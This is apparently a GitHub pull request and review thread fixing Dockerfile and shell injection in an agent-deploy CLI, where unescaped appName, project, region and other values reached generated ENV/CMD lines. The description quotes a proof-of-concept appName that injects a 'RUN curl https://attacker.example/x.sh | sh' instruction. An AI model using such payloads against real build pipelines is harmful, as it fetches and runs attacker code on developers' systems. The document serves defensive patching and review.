fix(deploy): reject unsafe appName/project/region in generated Dockerfile - #604
Conversation
…file createDockerFileContent interpolated options.appName, options.project, and options.region directly into the generated Dockerfile's ENV, COPY, and CMD instructions with no escaping. Since Dockerfile instructions are newline- delimited and the CMD line runs through /bin/sh at container start, a value containing a newline or shell metacharacters breaks out of its instruction: appName is derived by default from the basename of the agent path passed to `adk deploy cloud_run`/`adk deploy agent_engine` (only overridden by an explicit --app_name), so a maliciously-named agent directory or file — e.g. from a shared/cloned agent template a developer didn't author themselves — injects arbitrary Dockerfile instructions executed during `docker build` and/or arbitrary shell commands in the deployed container's CMD. Add assertSafeDockerfileToken, restricting these three values to a plain identifier (letters, digits, dot, dash, underscore) before they're ever embedded in the Dockerfile content, applied once in the shared createDockerFileContent so both deploy commands are covered. Confirmed by executing the function directly: a crafted appName previously produced a Dockerfile with a standalone injected RUN instruction; it's now rejected before any file is written.
AmaadMartin
left a comment
AmaadMartin
left a comment
There was a problem hiding this comment.
Fix is in the right place: createDockerFile is the only Dockerfile generator in the repo and both deploy paths (cli_deploy_cloud_run.ts:200, cli_deploy_agent_engine.ts:99) go through it, so one check covers both, and no existing test passes a value the regex rejects.
One correction to the description, which makes your threat model stronger: there is no --app_name flag anywhere in the CLI, and cli_deploy_cloud_run.ts:177 reads options.appName || isFileProvided ? … : … — || binds before ?:, so even if the flag existed it would be discarded. appName is always the agent path's basename, i.e. always the untrusted value.
Comments below on what the same template still interpolates unchecked.
…gins/*ServiceUri logLevel, allowOrigins, sessionServiceUri and artifactServiceUri were still interpolated raw into the generated Dockerfile's CMD line, so a newline in any of them broke out of that instruction the same way appName did, and shell metacharacters reached /bin/sh at container start. These values are free-form (URIs, comma-separated lists) so they can't be restricted to the plain-identifier token used for appName/project/region; instead reject embedded newlines and single-quote-escape them for the shell. Also: error messages now JSON.stringify the rejected value instead of interpolating it raw, and the region rejection test now uses a newline payload since region only reaches the ENV line, not the shell-interpreted CMD line.
|
Addressed in e283fd0:
Added tests covering newline rejection and shell-quoting (including embedded-quote escaping) for all four values. |
Per review: the "should still accept dots/dashes/underscores" case only asserted appName made it into the Dockerfile, not project.
AmaadMartin
left a comment
AmaadMartin
left a comment
There was a problem hiding this comment.
Re-checked at 98be2c67. All three findings are addressed, and the CMD-line one was answered properly rather than deferred: assertNoDockerfileNewline closes the instruction break-out for all four free-form values, and shellQuote closes the /bin/sh metacharacter vector that the newline check alone would have left open.
I verified the quoting rather than trusting the tests: '${value.replace(/'/g, "'\\''")}' is correct POSIX single-quote escaping, and the CMD line really is shell form (CMD npx adk ... at deploy_utils.ts:176), so the quotes are consumed by /bin/sh and not passed through literally. I also swept for anything depending on the old unquoted output — one assertion, --allow_origins=http://example.com, and this PR updates it. Staying on shell form instead of exec-form JSON is a reasonable scope call; the validation now covers the same ground.
The region test is right too: newline payload, and the name says what it prevents rather than implying region reaches the shell.
CI: the Windows red is core/test/code_executors/unsafe_local_code_executor_test.ts > should execute shell code timing out at 5s — a core/ test, and this PR only touches dev/src/cli/deploy/. It failed on both attempts here and on #599 and #575 today, and passed on #600 and #603; every failure is a timeout, never an assertion. Ubuntu and macOS are green. Merging on that basis, but the flake deserves its own issue.
LGTM.
3 participants
createDockerFileContent (dev/src/cli/deploy/deploy_utils.ts, shared by both
adk deploy cloud_runandadk deploy agent_engine) interpolatesoptions.appName,options.project, andoptions.regiondirectly into the generated Dockerfile'sENV,COPY, andCMDinstructions with no escaping.Dockerfile instructions are newline-delimited, and the generated
CMDline runs through/bin/sh -cat container start, so a value containing a newline or shell metacharacters breaks out of its instruction.appNameis derived by default from the basename of the agent path passed to the deploy command (path.parse(agentPath).name/path.basename(agentPath)), only overridden by an explicit--app_nameflag — so a maliciously-named agent directory or file (e.g. from a shared or cloned agent template a developer did not author themselves) injects arbitrary Dockerfile instructions executed duringdocker build, and/or arbitrary shell commands into the deployed container'sCMD.Confirmed by executing
createDockerFileContentdirectly: anappNameofx"\nRUN curl https://attacker.example/x.sh | sh\n#produced a Dockerfile containing thatRUNas its own standalone instruction.Fix: add
assertSafeDockerfileToken, restrictingappName/project/regionto a plain identifier (letters, digits, dot, dash, underscore) before they're embedded in the Dockerfile content, applied once at the top of the sharedcreateDockerFileContentso both deploy commands are covered by a single check. Existing valid values (project IDs, regions, agent names) are unaffected. Adds regression tests for the injection attempt and for values using dots/dashes/underscores.